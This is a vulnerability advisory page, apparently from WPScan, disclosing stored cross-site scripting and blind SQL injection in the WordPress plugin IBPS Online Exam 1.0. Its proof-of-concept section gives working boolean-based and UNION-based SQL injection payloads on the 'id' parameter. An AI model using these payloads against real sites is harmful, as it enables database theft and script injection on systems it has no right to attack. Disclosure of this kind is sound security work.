WordPress Plugin IBPS Online Exam <= 1.0 - Authenticated SQL Injection / Cross-Site Scripting

Sign up to our free email alerts service for instant vulnerability notifications!

Description
Exploit Author: 8bitsec
Contact Author: https://twitter.com/_8bitsec

Stored XSS on exam input textfields and Blind SQL Injection on 'examapp_UserResult' page 'id' parameter.
Proof of Concept
* Authenticated Stored XSS:
 
Logged as a student:
Write the payload in the input textfields while attempting an exam. The payload will execute on My Results > View Details:
https://localhost/wp-admin/admin.php?page=examapp_UserResult&info=view&id=[xx]
 
* Blind SQL Injection
 
Logged in as a student:
 
https://localhost/wp-admin/admin.php?page=examapp_UserResult&info=view&id=79 and 1=1
 
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=examapp_UserResult&info=view&id=78 AND 6705=6705
 
    Type: UNION query
    Title: Generic UNION query (NULL) - 17 columns
    Payload: page=examapp_UserResult&info=view&id=-4748 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178716b71,0x6b4c5247597261614e73447378544741764b4f7172597a5a58494551685a7056644d6e595773496e,0x7162787671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- KttP

Affects Plugin

References

EXPLOITDB 42351
URL https://codecanyon.net/item/ibps-online-exam-plugin-for-wordpress/20028534

Classification

Type SQLI
OWASP Top 10 A1: Injection
CWE CWE-89

Miscellaneous

Submitter H4m3rm3ld
Submitter Website https://sys-secure.es/
Submitter Twitter sys_secure
Views 13
Verified No
WPVDB ID 8869

Timeline

Publicly Published 2017-07-21 (4 months ago)
Added 2017-07-25 (4 months ago)
Last Updated 2017-07-25 (4 months ago)

Copyright & License

Copyright All data and resources contained within this page and this web site is Copyright © The WPScan Team.
License Some of this data may be used for non-commercial purposes, however, any potential commercial usage of this data will require a license. If you would like to inquire about a commercial license please contact us.